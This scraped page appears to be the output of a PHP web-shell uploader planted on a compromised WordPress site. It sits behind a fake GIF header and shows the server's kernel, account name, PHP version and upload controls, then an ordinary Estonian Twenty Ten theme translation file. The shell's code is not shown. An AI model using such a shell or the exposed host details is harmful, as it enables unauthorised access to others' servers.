GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/twentyten/languages/et.po
msgid ""
msgstr ""
"Project-Id-Version: twentyten-et 1.0\n"
"Report-Msgid-Bugs-To: http://wordpress.org/tag/twentyten\n"
"POT-Creation-Date: 2010-06-15 16:21+0000\n"
"PO-Revision-Date: \n"
"Last-Translator: Kaido Kikkas <kakk@kakupesa.net>\n"
"Language-Team: Kaido Kikkas <kakk@kakupesa.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n!=1);\n"
"X-Poedit-Language: Estonian\n"
"X-Poedit-Country: ESTONIA\n"
"X-Poedit-SourceCharset: utf-8\n"

#: 404.php:16
#: loop.php:33
msgid "Not Found"
msgstr "Ei leitud"

#: 404.php:18
msgid "Apologies, but the page you requested could not be found. Perhaps searching will help."
msgstr "Vabandust, aga otsitavat lehte ei leitud. Ehk aitab otsing."

#: archive.php:33
#, php-format
msgid "Daily Archives: <span>%s</span>"
msgstr "Arhiiv kuupäevade lõikes: <span>%s</span>"

#: archive.php:35
#, php-format
msgid "Monthly Archives: <span>%s</span>"
msgstr "Arhiiv kuude lõikes: <span>%s</span>"

#: archive.php:37
#, php-format
msgid "Yearly Archives: <span>%s</span>"
msgstr "Arhiiv aastate lõikes: <span>%s</span>"

#: archive.php:39
msgid "Blog Archives"
msgstr "Arhiiv"

#: attachment.php:17
#, php-format
msgid "Return to %s"
msgstr "Tagasi %s-le"

#. translators: %s - title of parent post
#: attachment.php:19
#, php-format
msgid "<span class=\"meta-nav\">&larr;</span> %s"
msgstr "<span class=\"meta-nav\">&larr;</span> %s"

#: attachment.php:27
#, php-format
msgid "<span class=\"%1$s\">By</span> %2$s"
msgstr "<span class=\"%1$s\">By</span> %2$s"

#: attachment.php:31
#: functions.php:509
#, php-format
msgid "View all posts by %s"
msgstr "Vaata autori %s postitusi"

#: attachment.php:38
#, php-format
msgid "<span class=\"%1$s\">Published</span> %2$s"
msgstr "<span class=\"%1$s\">Avaldatud</span> %2$s"

#: attachment.php:48
#, php-format
msgid "Full size is %s pixels"
msgstr "Täissuurus on %s pikslit."

#: attachment.php:51
msgid "Link to full-size image"
msgstr "Viide täissuuruses pildile"

#: attachment.php:58
#: attachment.php:105
#: loop.php:94
#: loop.php:117
#: loop.php:159
#: onecolumn-page.php:27
#: page.php:32
#: single.php:53
msgid "Edit"
msgstr "Muuda"

#: attachment.php:98
#: functions.php:299
#: loop.php:109
#: loop.php:137
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "Jätka lugemist <span class=\"meta-nav\">&rarr;</span>"

#: attachment.php:99
#: loop.php:138
#: onecolumn-page.php:26
#: page.php:31
#: single.php:31
msgid "Pages:"
msgstr "Lehed:"

#: author.php:27
#, php-format
msgid "Author Archives: %s"
msgstr "Autoriarhiiv: %s"

#: author.php:37
#: single.php:40
#, php-format
msgid "About %s"
msgstr "%s: tutvustus"

#: category.php:16
#, php-format
msgid "Category Archives: %s"
msgstr "Rubriigiarhiiv: %s"

#: comments.php:18
msgid "This post is password protected. Enter the password to view any comments."
msgstr "See postitus on parooliga kaitstud. Kommentaaride lugemiseks sisesta parool."

#: comments.php:35
#, php-format
msgid "One Response to %2$s"
msgid_plural "%1$s Responses to %2$s"
msgstr[0] "Üks kommentaar postitusele %2$s"
msgstr[1] "%1$s kommentaari postitusele %2$s"

#: comments.php:41
#: comments.php:60
msgid "<span class=\"meta-nav\">&larr;</span> Older Comments"
msgstr "<span class=\"meta-nav\">&larr;</span> Vanemad kommentaarid"

#: comments.php:42
#: comments.php:61
msgid "Newer Comments <span class=\"meta-nav\">&rarr;</span>"
msgstr "Uuemad kommentaarid <span class=\"meta-nav\">&rarr;</span>"

#: comments.php:72
msgid "Comments are closed."
msgstr "Kommenteerimine on suletud"

#. #-#-#-#-#  twentyten.pot (Twenty Ten 1.0)  #-#-#-#-#
#. Theme URI of the plugin/theme
#: footer.php:33
msgid "http://wordpress.org/"
msgstr "http://wordpress.org/"

#: footer.php:34
msgid "Semantic Personal Publishing Platform"
msgstr "Semantiline avaldamisplatvorm"

#: footer.php:35
#, php-format
msgid "Proudly powered by %s."
msgstr "Kasutame %si"

#: functions.php:97
msgid "Primary Navigation"
msgstr "Põhiliikumised"

#. translators: header image description
#: functions.php:133
msgid "Berries"
msgstr "Marjad"

#. translators: header image description
#: functions.php:139
msgid "Cherry Blossoms"
msgstr "Kirsiõied"

#. translators: header image description
#: functions.php:145
msgid "Concave"
msgstr "Õõnsus"

#. translators: header image description
#: functions.php:151
msgid "Fern"
msgstr "Sõnajalg"

#. translators: header image description
#: functions.php:157
msgid "Forest Floor"
msgstr "Metsapinnas"

#. translators: header image description
#: functions.php:163
msgid "Inkwell"
msgstr "Tindipott"

#. translators: header image description
#: functions.php:169
msgid "Path"
msgstr "Rada"

#. translators: header image description
#: functions.php:175
msgid "Sunset"
msgstr "Loojang"

#: functions.php:237
#, php-format
msgid "Search results for %s"
msgstr "Otsingutulemused: %s"

#: functions.php:240
#: functions.php:257
#, php-format
msgid "Page %s"
msgstr "Leht %s"

#: functions.php:366
#, php-format
msgid "%s <span class=\"says\">says:</span>"
msgstr "%s <span class=\"says\">kirjutab:</span>"

#: functions.php:369
msgid "Your comment is awaiting moderation."
msgstr "Sinu kommentaar ootab modereerimist."

#. translators: 1: date, 2: time
#: functions.php:376
#, php-format
msgid "%1$s at %2$s"
msgstr "%1$s kell %2$s"

#: functions.php:376
#: functions.php:393
msgid "(Edit)"
msgstr "(Muuda)"

#: functions.php:393
msgid "Pingback:"
msgstr "Pingback:"

#: functions.php:412
msgid "Primary Widget Area"
msgstr "Esmane mooduliala"

#: functions.php:414
msgid "The primary widget area"
msgstr "esmane mooduliala"

#: functions.php:423
msgid "Secondary Widget Area"
msgstr "Teisene mooduliala"

#: functions.php:425
msgid "The secondary widget area"
msgstr "Teisene mooduliala"

#: functions.php:434
msgid "First Footer Widget Area"
msgstr "Esimene mooduliala jaluses"

#: functions.php:436
msgid "The first footer widget area"
msgstr "Esimene mooduliala jaluses"

#: functions.php:445
msgid "Second Footer Widget Area"
msgstr "Teine mooduliala jaluses"

#: functions.php:447
msgid "The second footer widget area"
msgstr "Teine mooduliala jaluses"

#: functions.php:456
msgid "Third Footer Widget Area"
msgstr "Kolmas mooduliala jaluses"

#: functions.php:458
msgid "The third footer widget area"
msgstr "Kolmas mooduliala jaluses"

#: functions.php:467
msgid "Fourth Footer Widget Area"
msgstr "Neljas mooduliala jaluses"

#: functions.php:469
msgid "The fourth footer widget area"
msgstr "Neljas mooduliala jaluses"

#: functions.php:500
#, php-format
msgid "<span class=\"%1$s\">Posted on</span> %2$s <span class=\"meta-sep\">by</span> %3$s"
msgstr "<span class=\"meta-sep\">%3$s</span>, <span class=\"%1$s\">%2$s</span>"

#: functions.php:526
#, php-format
msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Rubriigid: %1$s, sildid:   %2$s. Salvesta <a href=\"%3$s\" title=\"%4$s püsiviide\" rel=\"bookmark\">püsiviide</a> oma järjehoidjasse."

#: functions.php:528
#, php-format
msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Rubriigid: %1$s. Salvesta <a href=\"%3$s\" title=\"%4$s püsiviide\" rel=\"bookmark\">püsiviide</a> oma järjehoidjasse."

#: functions.php:530
#, php-format
msgid "Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Salvesta <a href=\"%3$s\" title=\"%4$s püsiviide\" rel=\"bookmark\">püsiviide</a> oma järjehoidjasse."

#: header.php:71
msgid "Skip to content"
msgstr "Liigu sisu juurde"

#: loop.php:25
#: loop.php:172
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&larr;</span> Vanemad postitused"

#: loop.php:26
#: loop.php:173
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "Uuemad postitused <span class=\"meta-nav\">&rarr;</span>"

#: loop.php:35
msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post."
msgstr "Vabandust, kuid soovitud arhiivist otsitavat ei leitud. Ehk aitab otsing leida midagi ligilähedast."

#: loop.php:60
#: loop.php:91
msgctxt "gallery category slug"
msgid "gallery"
msgstr "galerii"

#: loop.php:62
#: loop.php:82
#: loop.php:125
#, php-format
msgid "Permalink to %s"
msgstr "Püsiviide: %s"

#: loop.php:81
#, php-format
msgid "This gallery contains <a %1$s>%2$s photos</a>."
msgstr "Selles galeriis on <a %1$s>%2$s fotot</a>."

#: loop.php:91
msgid "View posts in the Gallery category"
msgstr "Vaata galeriirubriiki kuuluvaid postitusi"

#: loop.php:91
msgid "More Galleries"
msgstr "Veel galeriisid"

#: loop.php:93
#: loop.php:116
#: loop.php:158
msgid "Leave a comment"
msgstr "Kommenteeri"

#: loop.php:93
#: loop.php:116
#: loop.php:158
msgid "1 Comment"
msgstr "1 kommentaar"

#: loop.php:93
#: loop.php:116
#: loop.php:158
msgid "% Comments"
msgstr "% kommentaari"

#: loop.php:100
msgctxt "asides category slug"
msgid "asides"
msgstr "lisaks"

#: loop.php:145
#, php-format
msgid "<span class=\"%1$s\">Posted in</span> %2$s"
msgstr "<span class=\"%1$s\">Rubriigid:</span> %2$s"

#: loop.php:154
#, php-format
msgid "<span class=\"%1$s\">Tagged</span> %2$s"
msgstr "<span class=\"%1$s\">Sildid:</span> %2$s"

#: search.php:16
#, php-format
msgid "Search Results for: %s"
msgstr "Otsitulemused: %s"

#: search.php:26
msgid "Nothing Found"
msgstr "Midagi ei leitud"

#: search.php:28
msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
msgstr "Vabandust, aga su otsing ei andnud tulemusi. Proovi teisi otsisõnu."

#: sidebar.php:27
msgid "Archives"
msgstr "Arhiiv"

#: sidebar.php:34
msgid "Meta"
msgstr "Meta"

#: single.php:18
#: single.php:58
msgctxt "Previous post link"
msgid "&larr;"
msgstr "&larr;"

#: single.php:19
#: single.php:59
msgctxt "Next post link"
msgid "&rarr;"
msgstr "&rarr;"

#: single.php:44
#, php-format
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "Vaata postitusi (sorteeritud: %s) <span class=\"meta-nav\">&rarr;</span>"

#: tag.php:16
#, php-format
msgid "Tag Archives: %s"
msgstr "Sildiarhiiv: %s"

#. Theme Name of the plugin/theme
msgid "Twenty Ten"
msgstr "Twenty Ten"

#. Description of the plugin/theme
msgid "The 2010 default theme for WordPress."
msgstr "WordPressi 2010. aasta vaikimisi teema."

#. Author of the plugin/theme
msgid "the WordPress team"
msgstr "WordPressi meeskond"

#. Tags of the plugin/theme
msgid "black, blue, white, two-columns, fixed-width, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style"
msgstr "black, blue, white, two-columns, fixed-width, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style"